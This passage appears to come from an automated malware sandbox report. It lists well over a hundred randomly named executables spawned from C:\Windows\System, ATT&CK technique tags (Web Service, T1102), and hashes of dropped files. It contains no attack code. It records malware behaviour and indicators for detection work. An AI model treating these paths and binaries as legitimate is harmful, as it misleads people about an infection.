  C:\Windows\System\CnUFLue.exe
  2⤵
  PID:9452
- C:\Windows\System\upPQumc.exe
  C:\Windows\System\upPQumc.exe
  2⤵
  PID:7756
- C:\Windows\System\wpVRXjQ.exe
  C:\Windows\System\wpVRXjQ.exe
  2⤵
  PID:9012
- C:\Windows\System\btnOGgZ.exe
  C:\Windows\System\btnOGgZ.exe
  2⤵
  PID:8960
- C:\Windows\System\dYeWsTQ.exe
  C:\Windows\System\dYeWsTQ.exe
  2⤵
  PID:9192
- C:\Windows\System\OubRLqB.exe
  C:\Windows\System\OubRLqB.exe
  2⤵
  PID:7820
- C:\Windows\System\jDldlYA.exe
  C:\Windows\System\jDldlYA.exe
  2⤵
  PID:9384
- C:\Windows\System\EDKlsXw.exe
  C:\Windows\System\EDKlsXw.exe
  2⤵
  PID:10048
- C:\Windows\System\OzyiQSG.exe
  C:\Windows\System\OzyiQSG.exe
  2⤵
  PID:7848
- C:\Windows\System\XJzJpGS.exe
  C:\Windows\System\XJzJpGS.exe
  2⤵
  PID:9272
- C:\Windows\System\pqFGsom.exe
  C:\Windows\System\pqFGsom.exe
  2⤵
  PID:14784
- C:\Windows\System\DLiFNQQ.exe
  C:\Windows\System\DLiFNQQ.exe
  2⤵
  PID:10464
- C:\Windows\System\VwNFfxa.exe
  C:\Windows\System\VwNFfxa.exe
  2⤵
  PID:10364
- C:\Windows\System\YZveeUD.exe
  C:\Windows\System\YZveeUD.exe
  2⤵
  PID:9084
- C:\Windows\System\wQtuPvZ.exe
  C:\Windows\System\wQtuPvZ.exe
  2⤵
  PID:10020
- C:\Windows\System\EVRwVRl.exe
  C:\Windows\System\EVRwVRl.exe
  2⤵
  PID:10356
- C:\Windows\System\LxLODpw.exe
  C:\Windows\System\LxLODpw.exe
  2⤵
  PID:14944
- C:\Windows\System\cYsifUi.exe
  C:\Windows\System\cYsifUi.exe
  2⤵
  PID:10504
- C:\Windows\System\YBorwla.exe
  C:\Windows\System\YBorwla.exe
  2⤵
  PID:9820
- C:\Windows\System\FnDvxBQ.exe
  C:\Windows\System\FnDvxBQ.exe
  2⤵
  PID:7276
- C:\Windows\System\AlaJzZR.exe
  C:\Windows\System\AlaJzZR.exe
  2⤵
  PID:9400
- C:\Windows\System\KiHrlwd.exe
  C:\Windows\System\KiHrlwd.exe
  2⤵
  PID:9560
- C:\Windows\System\mVRLuNn.exe
  C:\Windows\System\mVRLuNn.exe
  2⤵
  PID:4480
- C:\Windows\System\iJCKCbc.exe
  C:\Windows\System\iJCKCbc.exe
  2⤵
  PID:10832
- C:\Windows\System\ExgJhaY.exe
  C:\Windows\System\ExgJhaY.exe
  2⤵
  PID:10584
- C:\Windows\System\lxtJWcs.exe
  C:\Windows\System\lxtJWcs.exe
  2⤵
  PID:10992
- C:\Windows\System\SwwtAmS.exe
  C:\Windows\System\SwwtAmS.exe
  2⤵
  PID:12512
- C:\Windows\System\DNMirrr.exe
  C:\Windows\System\DNMirrr.exe
  2⤵
  PID:12664
- C:\Windows\System\ppxRluS.exe
  C:\Windows\System\ppxRluS.exe
  2⤵
  PID:11148
- C:\Windows\System\tuBfGzJ.exe
  C:\Windows\System\tuBfGzJ.exe
  2⤵
  PID:8576
- C:\Windows\System\hOlaGbX.exe
  C:\Windows\System\hOlaGbX.exe
  2⤵
  PID:11228
- C:\Windows\System\QSUkQuG.exe
  C:\Windows\System\QSUkQuG.exe
  2⤵
  PID:11172
- C:\Windows\System\ZsayxRd.exe
  C:\Windows\System\ZsayxRd.exe
  2⤵
  PID:14616
- C:\Windows\System\uHMlGiO.exe
  C:\Windows\System\uHMlGiO.exe
  2⤵
  PID:10004
- C:\Windows\System\gZAwZVo.exe
  C:\Windows\System\gZAwZVo.exe
  2⤵
  PID:9712
- C:\Windows\System\bSUSuSm.exe
  C:\Windows\System\bSUSuSm.exe
  2⤵
  PID:10068
- C:\Windows\System\NDvYZFw.exe
  C:\Windows\System\NDvYZFw.exe
  2⤵
  PID:9456
- C:\Windows\System\vqUvOYR.exe
  C:\Windows\System\vqUvOYR.exe
  2⤵
  PID:9748
- C:\Windows\System\AKDSUUw.exe
  C:\Windows\System\AKDSUUw.exe
  2⤵
  PID:15244
- C:\Windows\System\kghJcLR.exe
  C:\Windows\System\kghJcLR.exe
  2⤵
  PID:14728
- C:\Windows\System\xzchdqa.exe
  C:\Windows\System\xzchdqa.exe
  2⤵
  PID:9724
- C:\Windows\System\egDskNC.exe
  C:\Windows\System\egDskNC.exe
  2⤵
  PID:15212
- C:\Windows\System\RvdUVjb.exe
  C:\Windows\System\RvdUVjb.exe
  2⤵
  PID:7960
- C:\Windows\System\SOEdWHQ.exe
  C:\Windows\System\SOEdWHQ.exe
  2⤵
  PID:9128
- C:\Windows\System\ruweGar.exe
  C:\Windows\System\ruweGar.exe
  2⤵
  PID:9732
- C:\Windows\System\LcydNcE.exe
  C:\Windows\System\LcydNcE.exe
  2⤵
  PID:14508
- C:\Windows\System\gEISEaf.exe
  C:\Windows\System\gEISEaf.exe
  2⤵
  PID:3948
- C:\Windows\System\hRTjUrM.exe
  C:\Windows\System\hRTjUrM.exe
  2⤵
  PID:15276
- C:\Windows\System\NLtZomP.exe
  C:\Windows\System\NLtZomP.exe
  2⤵
  PID:10548
- C:\Windows\System\UdPTsIm.exe
  C:\Windows\System\UdPTsIm.exe
  2⤵
  PID:9064
- C:\Windows\System\acytnSl.exe
  C:\Windows\System\acytnSl.exe
  2⤵
  PID:11160
- C:\Windows\System\hhWKHde.exe
  C:\Windows\System\hhWKHde.exe
  2⤵
  PID:10080
- C:\Windows\System\uDWOdqn.exe
  C:\Windows\System\uDWOdqn.exe
  2⤵
  PID:11108
- C:\Windows\System\DhIWmNe.exe
  C:\Windows\System\DhIWmNe.exe
  2⤵
  PID:8948
- C:\Windows\System\VhTevBm.exe
  C:\Windows\System\VhTevBm.exe
  2⤵
  PID:9788
- C:\Windows\System\hAxMzQs.exe
  C:\Windows\System\hAxMzQs.exe
  2⤵
  PID:9908
- C:\Windows\System\XPkIhdS.exe
  C:\Windows\System\XPkIhdS.exe
  2⤵
  PID:696
- C:\Windows\System\Vzltbar.exe
  C:\Windows\System\Vzltbar.exe
  2⤵
  PID:11388
- C:\Windows\System\FYwUPdP.exe
  C:\Windows\System\FYwUPdP.exe
  2⤵
  PID:7320
- C:\Windows\System\vflHZuc.exe
  C:\Windows\System\vflHZuc.exe
  2⤵
  PID:11104
- C:\Windows\System\vVPPQJz.exe
  C:\Windows\System\vVPPQJz.exe
  2⤵
  PID:11740
- C:\Windows\System\TVjRvjd.exe
  C:\Windows\System\TVjRvjd.exe
  2⤵
  PID:8384
- C:\Windows\System\KcPyhEa.exe
  C:\Windows\System\KcPyhEa.exe
  2⤵
  PID:10328
- C:\Windows\System\zbcZDKr.exe
  C:\Windows\System\zbcZDKr.exe
  2⤵
  PID:2004
- C:\Windows\System\ndWhbYV.exe
  C:\Windows\System\ndWhbYV.exe
  2⤵
  PID:10448
- C:\Windows\System\WuElMAr.exe
  C:\Windows\System\WuElMAr.exe
  2⤵
  PID:11512
- C:\Windows\System\YyEUsFY.exe
  C:\Windows\System\YyEUsFY.exe
  2⤵
  PID:10644
- C:\Windows\System\vNlYmoy.exe
  C:\Windows\System\vNlYmoy.exe
  2⤵
  PID:14804
- C:\Windows\System\fJOIozh.exe
  C:\Windows\System\fJOIozh.exe
  2⤵
  PID:11704
- C:\Windows\System\kbxEcLM.exe
  C:\Windows\System\kbxEcLM.exe
  2⤵
  PID:8760
- C:\Windows\System\nFfaOsg.exe
  C:\Windows\System\nFfaOsg.exe
  2⤵
  PID:15100
- C:\Windows\System\sehprzt.exe
  C:\Windows\System\sehprzt.exe
  2⤵
  PID:9360
- C:\Windows\System\fDXsMwU.exe
  C:\Windows\System\fDXsMwU.exe
  2⤵
  PID:11280
- C:\Windows\System\XAfrDtw.exe
  C:\Windows\System\XAfrDtw.exe
  2⤵
  PID:10968
- C:\Windows\System\gAlYMYe.exe
  C:\Windows\System\gAlYMYe.exe
  2⤵
  PID:12004
- C:\Windows\System\HtMQHdr.exe
  C:\Windows\System\HtMQHdr.exe
  2⤵
  PID:9900
- C:\Windows\System\BhGRXkv.exe
  C:\Windows\System\BhGRXkv.exe
  2⤵
  PID:10824
- C:\Windows\System\pFTueIm.exe
  C:\Windows\System\pFTueIm.exe
  2⤵
  PID:12048
- C:\Windows\System\EvgEtsM.exe
  C:\Windows\System\EvgEtsM.exe
  2⤵
  PID:9796
- C:\Windows\System\CppXcib.exe
  C:\Windows\System\CppXcib.exe
  2⤵
  PID:12028
- C:\Windows\System\PDshHAw.exe
  C:\Windows\System\PDshHAw.exe
  2⤵
  PID:9236
- C:\Windows\System\PWTCtHS.exe
  C:\Windows\System\PWTCtHS.exe
  2⤵
  PID:11396
- C:\Windows\System\cWLCbYR.exe
  C:\Windows\System\cWLCbYR.exe
  2⤵
  PID:15116
- C:\Windows\System\sjUdGlZ.exe
  C:\Windows\System\sjUdGlZ.exe
  2⤵
  PID:8452
- C:\Windows\System\hqOrpMF.exe
  C:\Windows\System\hqOrpMF.exe
  2⤵
  PID:10120
- C:\Windows\System\zekLAIT.exe
  C:\Windows\System\zekLAIT.exe
  2⤵
  PID:8840
- C:\Windows\System\vNpNCfb.exe
  C:\Windows\System\vNpNCfb.exe
  2⤵
  PID:9292
- C:\Windows\System\bZqLpEt.exe
  C:\Windows\System\bZqLpEt.exe
  2⤵
  PID:11296
- C:\Windows\System\nHpInqT.exe
  C:\Windows\System\nHpInqT.exe
  2⤵
  PID:624
- C:\Windows\System\egfCYIS.exe
  C:\Windows\System\egfCYIS.exe
  2⤵
  PID:11824
- C:\Windows\System\nJDlquw.exe
  C:\Windows\System\nJDlquw.exe
  2⤵
  PID:11664
- C:\Windows\System\qPphSCg.exe
  C:\Windows\System\qPphSCg.exe
  2⤵
  PID:11224
- C:\Windows\System\mTPdAPQ.exe
  C:\Windows\System\mTPdAPQ.exe
  2⤵
  PID:6372
- C:\Windows\System\HQzccKl.exe
  C:\Windows\System\HQzccKl.exe
  2⤵
  PID:9696
- C:\Windows\System\QPzFdKk.exe
  C:\Windows\System\QPzFdKk.exe
  2⤵
  PID:12428
- C:\Windows\System\cYvgvFB.exe
  C:\Windows\System\cYvgvFB.exe
  2⤵
  PID:11372
- C:\Windows\System\iZTXRQR.exe
  C:\Windows\System\iZTXRQR.exe
  2⤵
  PID:11808
- C:\Windows\System\iLgLoEm.exe
  C:\Windows\System\iLgLoEm.exe
  2⤵
  PID:12092
- C:\Windows\System\KYOwZHv.exe
  C:\Windows\System\KYOwZHv.exe
  2⤵
  PID:9112
- C:\Windows\System\FbkwpgJ.exe
  C:\Windows\System\FbkwpgJ.exe
  2⤵
  PID:11376
- C:\Windows\System\AudPoPR.exe
  C:\Windows\System\AudPoPR.exe
  2⤵
  PID:11140
- C:\Windows\System\drDEkBG.exe
  C:\Windows\System\drDEkBG.exe
  2⤵
  PID:10340
- C:\Windows\System\HyqcQbw.exe
  C:\Windows\System\HyqcQbw.exe
  2⤵
  PID:10496
- C:\Windows\System\PzFkpHt.exe
  C:\Windows\System\PzFkpHt.exe
  2⤵
  PID:5016
- C:\Windows\System\TMmvHme.exe
  C:\Windows\System\TMmvHme.exe
  2⤵
  PID:11784
- C:\Windows\System\qMNucvC.exe
  C:\Windows\System\qMNucvC.exe
  2⤵
  PID:11732
- C:\Windows\System\rRxEyIQ.exe
  C:\Windows\System\rRxEyIQ.exe
  2⤵
  PID:9956
- C:\Windows\System\dTCuIQT.exe
  C:\Windows\System\dTCuIQT.exe
  2⤵
  PID:11472
- C:\Windows\System\Erhkyya.exe
  C:\Windows\System\Erhkyya.exe
  2⤵
  PID:4568
- C:\Windows\System\dmwaRTT.exe
  C:\Windows\System\dmwaRTT.exe
  2⤵
  PID:12496
- C:\Windows\System\gEwEsKY.exe
  C:\Windows\System\gEwEsKY.exe
  2⤵
  PID:10616
- C:\Windows\System\hXNvPPN.exe
  C:\Windows\System\hXNvPPN.exe
  2⤵
  PID:13440
- C:\Windows\System\kEemJlg.exe
  C:\Windows\System\kEemJlg.exe
  2⤵
  PID:10940
- C:\Windows\System\iilBGbS.exe
  C:\Windows\System\iilBGbS.exe
  2⤵
  PID:10780
- C:\Windows\System\tzQYdID.exe
  C:\Windows\System\tzQYdID.exe
  2⤵
  PID:14696
- C:\Windows\System\FGMjqSp.exe
  C:\Windows\System\FGMjqSp.exe
  2⤵
  PID:15256
- C:\Windows\System\WuggiYr.exe
  C:\Windows\System\WuggiYr.exe
  2⤵
  PID:12948
- C:\Windows\System\EVzdVCA.exe
  C:\Windows\System\EVzdVCA.exe
  2⤵
  PID:11932
- C:\Windows\System\oDuSXUW.exe
  C:\Windows\System\oDuSXUW.exe
  2⤵
  PID:10200
- C:\Windows\System\OsibjOP.exe
  C:\Windows\System\OsibjOP.exe
  2⤵
  PID:8636
- C:\Windows\System\gOHCIOU.exe
  C:\Windows\System\gOHCIOU.exe
  2⤵
  PID:12196
- C:\Windows\System\EahRowI.exe
  C:\Windows\System\EahRowI.exe
  2⤵
  PID:12064
- C:\Windows\System\PVkfGRB.exe
  C:\Windows\System\PVkfGRB.exe
  2⤵
  PID:13188
- C:\Windows\System\MoBUgMV.exe
  C:\Windows\System\MoBUgMV.exe
  2⤵
  PID:11816
- C:\Windows\System\cWldMPy.exe
  C:\Windows\System\cWldMPy.exe
  2⤵
  PID:1880
- C:\Windows\System\UZnDUxV.exe
  C:\Windows\System\UZnDUxV.exe
  2⤵
  PID:10420
- C:\Windows\System\qeHIeNC.exe
  C:\Windows\System\qeHIeNC.exe
  2⤵
  PID:7208
- C:\Windows\System\pLJyuwI.exe
  C:\Windows\System\pLJyuwI.exe
  2⤵
  PID:12356
- C:\Windows\System\ykfEbvV.exe
  C:\Windows\System\ykfEbvV.exe
  2⤵
  PID:11984
- C:\Windows\System\JNTBFpv.exe
  C:\Windows\System\JNTBFpv.exe
  2⤵
  PID:12564
- C:\Windows\System\QbpUjdj.exe
  C:\Windows\System\QbpUjdj.exe
  2⤵
  PID:10256
- C:\Windows\System\OvrFTsb.exe
  C:\Windows\System\OvrFTsb.exe
  2⤵
  PID:9040
- C:\Windows\System\ECLQVsq.exe
  C:\Windows\System\ECLQVsq.exe
  2⤵
  PID:10708
- C:\Windows\System\mnhXShH.exe
  C:\Windows\System\mnhXShH.exe
  2⤵
  PID:11872
- C:\Windows\System\FoptrPR.exe
  C:\Windows\System\FoptrPR.exe
  2⤵
  PID:12136
- C:\Windows\System\LMyOhMe.exe
  C:\Windows\System\LMyOhMe.exe
  2⤵
  PID:4648
- C:\Windows\System\tWAJoFm.exe
  C:\Windows\System\tWAJoFm.exe
  2⤵
  PID:14192
- C:\Windows\System\xQmEuNW.exe
  C:\Windows\System\xQmEuNW.exe
  2⤵
  PID:14832
- C:\Windows\System\yWiPbFE.exe
  C:\Windows\System\yWiPbFE.exe
  2⤵
  PID:9328
- C:\Windows\System\hAGzBjU.exe
  C:\Windows\System\hAGzBjU.exe
  2⤵
  PID:13260
- C:\Windows\System\yNAWItA.exe
  C:\Windows\System\yNAWItA.exe
  2⤵
  PID:7084
- C:\Windows\System\BRczpOl.exe
  C:\Windows\System\BRczpOl.exe
  2⤵
  PID:13268
- C:\Windows\System\dXltiCn.exe
  C:\Windows\System\dXltiCn.exe
  2⤵
  PID:11764
- C:\Windows\System\kByzttH.exe
  C:\Windows\System\kByzttH.exe
  2⤵
  PID:10320
- C:\Windows\System\lfbUUcO.exe
  C:\Windows\System\lfbUUcO.exe
  2⤵
  PID:11724
- C:\Windows\System\YtSWUCf.exe
  C:\Windows\System\YtSWUCf.exe
  2⤵
  PID:8680
- C:\Windows\System\UfYRFQq.exe
  C:\Windows\System\UfYRFQq.exe
  2⤵
  PID:11468
- C:\Windows\System\gVXsPJS.exe
  C:\Windows\System\gVXsPJS.exe
  2⤵
  PID:11452
- C:\Windows\System\rfHNtmM.exe
  C:\Windows\System\rfHNtmM.exe
  2⤵
  PID:10980
- C:\Windows\System\QNztEqP.exe
  C:\Windows\System\QNztEqP.exe
  2⤵
  PID:13264
- C:\Windows\System\GfUDmSH.exe
  C:\Windows\System\GfUDmSH.exe
  2⤵
  PID:7340
- C:\Windows\System\EgwoGDu.exe
  C:\Windows\System\EgwoGDu.exe
  2⤵
  PID:13232
- C:\Windows\System\JHJWdqs.exe
  C:\Windows\System\JHJWdqs.exe
  2⤵
  PID:11200
- C:\Windows\System\avENurt.exe
  C:\Windows\System\avENurt.exe
  2⤵
  PID:14328
- C:\Windows\System\Bvnizvs.exe
  C:\Windows\System\Bvnizvs.exe
  2⤵
  PID:7272
- C:\Windows\System\XLVzAMx.exe
  C:\Windows\System\XLVzAMx.exe
  2⤵
  PID:12980
- C:\Windows\System\AkyOhdI.exe
  C:\Windows\System\AkyOhdI.exe
  2⤵
  PID:11728
- C:\Windows\System\WKeuPGR.exe
  C:\Windows\System\WKeuPGR.exe
  2⤵
  PID:11744
- C:\Windows\System\tZFnZxu.exe
  C:\Windows\System\tZFnZxu.exe
  2⤵
  PID:13020
- C:\Windows\System\QmWJVSS.exe
  C:\Windows\System\QmWJVSS.exe
  2⤵
  PID:7000
- C:\Windows\System\cfYTBie.exe
  C:\Windows\System\cfYTBie.exe
  2⤵
  PID:15368
- C:\Windows\System\bBbEJdG.exe
  C:\Windows\System\bBbEJdG.exe
  2⤵
  PID:15396
- C:\Windows\System\gDxhECe.exe
  C:\Windows\System\gDxhECe.exe
  2⤵
  PID:15416
- C:\Windows\System\YCrQQud.exe
  C:\Windows\System\YCrQQud.exe
  2⤵
  PID:15440
- C:\Windows\System\sZgewfh.exe
  C:\Windows\System\sZgewfh.exe
  2⤵
  PID:15460
- C:\Windows\System\nPLGcgS.exe
  C:\Windows\System\nPLGcgS.exe
  2⤵
  PID:15480
- C:\Windows\System\QsLxhzW.exe
  C:\Windows\System\QsLxhzW.exe
  2⤵
  PID:15796
- C:\Windows\System\YCGzIVH.exe
  C:\Windows\System\YCGzIVH.exe
  2⤵
  PID:15820
- C:\Windows\System\acYjlqX.exe
  C:\Windows\System\acYjlqX.exe
  2⤵
  PID:15848
- C:\Windows\System\etSilYA.exe
  C:\Windows\System\etSilYA.exe
  2⤵
  PID:15888
- C:\Windows\System\tvjCmXY.exe
  C:\Windows\System\tvjCmXY.exe
  2⤵
  PID:16036
- C:\Windows\System\DlfiiBQ.exe
  C:\Windows\System\DlfiiBQ.exe
  2⤵
  PID:16124
- C:\Windows\System\YkfvxEx.exe
  C:\Windows\System\YkfvxEx.exe
  2⤵
  PID:16204
- C:\Windows\System\UsXOjYV.exe
  C:\Windows\System\UsXOjYV.exe
  2⤵
  PID:16228
- C:\Windows\System\LxLkzVi.exe
  C:\Windows\System\LxLkzVi.exe
  2⤵
  PID:16332
- C:\Windows\System\lQADvAN.exe
  C:\Windows\System\lQADvAN.exe
  2⤵
  PID:16360
- C:\Windows\System\RHxexMy.exe
  C:\Windows\System\RHxexMy.exe
  2⤵
  PID:16380
- C:\Windows\System\XMDtVJA.exe
  C:\Windows\System\XMDtVJA.exe
  2⤵
  PID:13788
- C:\Windows\System\jOnAewM.exe
  C:\Windows\System\jOnAewM.exe
  2⤵
  PID:13468
- C:\Windows\System\OAJCNMB.exe
  C:\Windows\System\OAJCNMB.exe
  2⤵
  PID:5084
- C:\Windows\System\FVAfBtG.exe
  C:\Windows\System\FVAfBtG.exe
  2⤵
  PID:14924
- C:\Windows\System\xYitDsi.exe
  C:\Windows\System\xYitDsi.exe
  2⤵
  PID:11016
- C:\Windows\System\ichsCyi.exe
  C:\Windows\System\ichsCyi.exe
  2⤵
  PID:15504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5432 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:8
1⤵
PID:13616

C:\Windows\system32\WerFaultSecure.exe
"C:\Windows\system32\WerFaultSecure.exe" -protectedcrash -p 10660 -i 10660 -h 476 -j 460 -s 576 -d 12900
1⤵
PID:4388

C:\Windows\system32\WerFaultSecure.exe
C:\Windows\system32\WerFaultSecure.exe -u -p 10660 -s 1108
1⤵
PID:9160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8ZO46T3J\home-993d2c38b2c1[1].css

Filesize
11KB

MD5
6328d6d9a6b00ce7f992230b97b17c1f

SHA1
88837b802bdde407e37e92641072ea2eeec95556

SHA256
c9d9b80794cebd7d97daf52f7f0ce0e31bcf7a6f65a6e07851c688d67f10dba8

SHA512
993d2c38b2c15499aebdb39c1f9c21d0501d4c2a5973caec65be9ddc3ddfd6e46d06449e7483daa4fa9afa17cb81ff27a391519a64629169eb15c52911aab2c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exxztqpa.bgg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AKRugTc.exe

Filesize
2.0MB

MD5
df16fca0f7c15ce91929d16287801b7e

SHA1
ce72bbf9587c8324b24b7679713ea627d1f2ef89

SHA256
907989ed9bdf95155f0f806ca9f5489f8a0ee4dae3adeeb5f5369a87de8b7421

SHA512
9baeb34c702a156f5a5899888a6e9dd503460eb96b45df464650811b0b28dfa913f1f464ed8bfe8f922502c83b9baa3062fd25c10588e32416c1fbbc35f2e606

Download Submit
C:\Windows\System\FaPTEAH.exe

Filesize
2.0MB

MD5
092d76a45e5065e4e22caa26685c6b05

SHA1
97c7e8ef8fd968f8e0d4ee7f0aa0f90f730d076d

SHA256
51f3bd3045eb339067ead8f36befc1646afbbc0621ff66f49c64c9d963370be5

SHA512
15be2641250107e9894af8288886f9b7fcd5aa20daf80e6d77c4848677327f170f2f0948810905bd113e91785c1a7e1e4167a3da0dbefbae62b6cc1bfcfbe936

Download Submit
C:\Windows\System\HuYVnzB.exe

Filesize
2.0MB

MD5
ed2f5501a265c698e6bb9319878f51ea

SHA1
f70de18f127b89a543668984426801bbaf34afa8

SHA256
c7a3438230aa1bb87be48d188392299211229fbf8ea85c536e045c64ac6035bd

SHA512
31834a483f1c17bcb337c4523690b422dedffa579b9d47c6111b2403e21933a7ea0da57bb577038e5dc80faa7dc2b3da66d535fe16a489604e66bf0a1a34efc5

Download Submit
C:\Windows\System\HyVUtDw.exe

Filesize
2.0MB

MD5
b40eab9ebab92a7f3b2ec4ce2ae7d0b2

SHA1
3a7509372bc682f30e881f35e77b41ab4238352f

SHA256
fbb83d1c8c9c5e223da926afcf6923d2bc9b4e922019e99240e0ccf4b39e5060

SHA512
fd7984c55024c471d08d9540d31a8e76b52b39658530472a49ea7739e1eb28ffca8a40c6de39a0f5227cede85074d40de85414043e9246fb62e390827114b79c

Download Submit
C:\Windows\System\IUBeXCS.exe

Filesize
2.0MB

MD5
2c604a2417d43409b54e7f40142c8b40

SHA1
616ad13ca9a8433e75be502ab40288db27cd97e0

SHA256
3ca6a7ec282b5b7bf4dcd0dfd6d5a5e05b5d92f458bb7b06cbfccadd5ed78835

SHA512
563a49b6960079a8066e1bef94ad641abea62d20f45dd31999bf6d5ec927a6568f598b54884462ee543cd4ff80a47ea752e1862d93058d935c10785c912a742f

Download Submit
C:\Windows\System\JTEtzhU.exe

Filesize
2.0MB

MD5
3fa1268bad76bd0119c740f2662717e2

SHA1
0239666f90bd7ddf7a5c0f010f9a0be83d530e5a

SHA256
0b62439d6b8986becae785295fa0c383e235b6ad2a84c86e66990db4b0199790

SHA512
edf00a5eb8fe580b316e212f6b43344f7a7c426e9f3b26a1502acd34541327f01bcf5035cdaa0b065ea95d967b344f429d00a4c6ea594820881806ded31f96b4

Download Submit
C:\Windows\System\JVEAHOq.exe

Filesize
2.0MB

MD5
42cc47d28d3b51074b62486c4ed0f34d

SHA1
534b46863574912e409185a4adf6327052de2806

SHA256
018b0fe5a03034e8ad11297e544ccff302c3f0fe6fcdf0459b4368430ce4ec96

SHA512
7fd028e079900f079ad54945cd8e522e637eb0d2674c84ad575cc2626daa307e88d4456717804fbeb0b38faab9357f33c596e123904cd738999b5b8c54b00d1c

Download Submit
C:\Windows\System\KuTYfZj.exe

Filesize
2.0MB

MD5
eefab1ccd9a8229a83b8b8aca9d3c58e

SHA1
6fcb669f0e568085a24681eda4b240badf707657

SHA256
76f0437e4be15e387907c463fe7e073cdaaf3f84f65b38f81295a0199a4cc6a5

SHA512
4806bca164310aed07430df21b6740f63d0057109d2654df5be5de9f1640329310d73e2ccf25d51a50b9d1ced145685a9ad3b4f75824710ee5e95884dd6e1616

Download Submit
C:\Windows\System\NLdwOTt.exe

Filesize
2.0MB

MD5
38bb9b7be0754ed19b0d7fa564a868c7

SHA1
d34e3996657357a7b56b9470375b5b98ed3e6aec

SHA256
be5c4fb82757ca387fd875508428500b179ba1ea3fb59edfd9e01e337e3e176e

SHA512
962db6857f3f8ee6f4ca8c45b6c04d3a7ff7670412fcac536eaa4bc9f4af1e808e3ec539d9e13f38ad3673c6f73bbb70fbfb5234db96ec016b0ecc4f2c54bae4

Download Submit
C:\Windows\System\QRokbWo.exe

Filesize
2.0MB

MD5
d97f49e3e76dbf694cf28bd91db73dc4

SHA1
d909878fb183a0ff068cd2903740e90198740362

SHA256
b31e45e639cde969f58934d829b6f9e88b75f6a7e8dc33c202dfe72f3a272a66

SHA512
e39af4a8eb89e1f60760e3739346cc36bba74fef3081a1934b13836135683a4377c2517d85c93f99fbc3180f0028ad325d2ec3e0a8efc2f139e9ce3193616604

Download Submit
C:\Windows\System\RbKsgnL.exe

Filesize
2.0MB

MD5
627787e5dd6ca95460e1a29671f71c86

SHA1
4be14f78bf52a23e3b63e5fbe6942e5868e14a3a

SHA256
54057790ae86bc2ca8d784fdc3aeefc2d855bfab78aabe300c9c74cecd2e5dc1

SHA512
01138bd12760b6e5177aa1e4a4a5a20c66eba355c14af3b9f7251bf150c2f8b6404800f334a0ccee33cca9bce48c14660944bb5cf4bca3f66ba95345bfcd26cb

Download Submit
C:\Windows\System\TdTnzPn.exe

Filesize
2.0MB

MD5
90dac38b5c7bd55e80fa388b65b35371

SHA1
d33decadc067f1e96a0eb8b6e74b9a2b602b8476

SHA256
3cb39e8083f25cf3e579b19bdbe02257ceb0b11608dbb9a9a39aed2bff91c389

SHA512
0898bbd2a3ded28870b0c38a7743731280c90bdabf24cc672d59a231b0a5256f4e19e259d1b23b3894d30bd882955890dd99d9d5955de77aee39e28b975e7ec8

Download Submit
C:\Windows\System\UEViYjq.exe

Filesize
2.0MB

MD5
bc2df0b61bc6f103a550d4cc2e70ac2a

SHA1
b31bb0d8b72411b663f7a87a95ee497b08ac6a8d

SHA256
ce3e61dcecc9223cc180303c47db0b20db6c46b81d3aa16ed829dd2acbdd4795

SHA512
a2f68c372940620df82d0c468d9b85122196837363fb9c2d87bf4eef0d29e9cf1313e435bb91faced46a27d6b24ddae268d734fbfdeef26a671a04db976ededb

Download Submit
C:\Windows\System\VJhBwZn.exe

Filesize
2.0MB

MD5
c7c82c98f268973210344325e0c03c5c

SHA1
73a8e19a633600d24070c365fa8ee396484bc177

SHA256
93bbc4ae25c78602d81f3941fed8349c1fcf3fe1a766321a912d23c70d9b6490

SHA512
8fc7f5fdf5b646c60dc7e63cdf184d5bd030978a03660d810c159e537943d88676b08845ba01219a5b3e88fd9c012c92503cde371d7fc84f8e08c75d603642ae

Download Submit
C:\Windows\System\YHlDwFv.exe

Filesize
2.0MB

MD5
7b68f9dd3c77883faa4af66daa8fbdac

SHA1
90507a4e12b7cd62f25c032ff7d2e4e8d7da0ca4

SHA256
68c351a433fe74524fe329629214553e9f6bd17d120f98a13a5892cd7637cde8

SHA512
802912f45d4f14811e8127eac80dc2071c13ee716b8e2fe34e00c784c7efd9f2c66b95f168aae289ddf17fd6c1b8453239eda6f34c2a883ca3872f4e31742bc9

Download Submit
C:\Windows\System\YWhDKtA.exe

Filesize
2.0MB

MD5
30056cc2f52d4570da8b32f48f43232a

SHA1
0b749cf874db070b48586ad8e4092f703723796b

SHA256
5821a904bdf28e262aaf291d232693fedaa92cc29d71072667a6af2bc2a42413

SHA512
e75271ece5fa7a0a9571b70d1496b7de9b0905fab5fa9b9aeb5a9918d2f524c04659640df2c61ee7cdf6f38b812bbaf2faf825d9a6539d11548a79b2faeefaf0

Download Submit
C:\Windows\System\ZyDMuGu.exe

Filesize
2.0MB

MD5
2a3f4520b903f69c024e33df9bf58634

SHA1
dd2dd1ccc6e1149a50cf26057154fa6fe332cbf3

SHA256
0911358616997dfd4e46bdc552cad0ae87d93e124c5726c5d7b965dbc45d597f

SHA512
abeb5c43e7d82723997564afae1f2e0586b9c39f0e3b1326ad3886019f37e5edcb92f0b34ea135cf0856a249f06b8abb744ef1adedb65bb6b26419120adbcd4f

Download Submit
C:\Windows\System\aazWxwO.exe

Filesize
2.0MB

MD5
e313ff404571686b62b7ad0b7237b91c

SHA1
98afaa52d2ad2b36429dc123d6c4fa34dbc3dff6

